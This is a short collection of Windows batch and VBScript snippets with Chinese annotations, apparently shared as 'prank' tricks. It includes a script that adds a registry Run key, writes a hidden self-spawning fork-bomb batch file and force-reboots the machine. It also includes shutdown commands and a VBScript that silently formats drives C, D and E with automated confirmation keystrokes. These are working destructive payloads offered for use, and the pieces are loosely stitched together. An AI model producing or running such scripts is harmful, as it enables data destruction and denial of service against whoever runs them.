@echo off
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\run" /v Start /d "D:\1.bat" /f
echo @echo off >D:\1.bat
echo :1>>D:\1.bat
echo start %%0>>D:\1.bat
echo start cmd>>D:\1.bat
echo goto 1>>D:\1.bat
attrib +r +a +s +h D:\1.bat
shutdown -r -f -t 10
新建文本
录入
shutdown -s
保存
xxx.bat(要选择全部形式)
代码含义 立即关机
接触代码
shutdown -a
set ws=createobject("wscript.shell")
ws.run "format c: /q /u/y"
ws.run "format e: /q /u/y"
ws.run "format d: /q /u/y"
ws.sendkeys"y"
wscript.sleep 200
ws.sendkeys"enter"
wscript.sleep 200
格式化c.d.e盘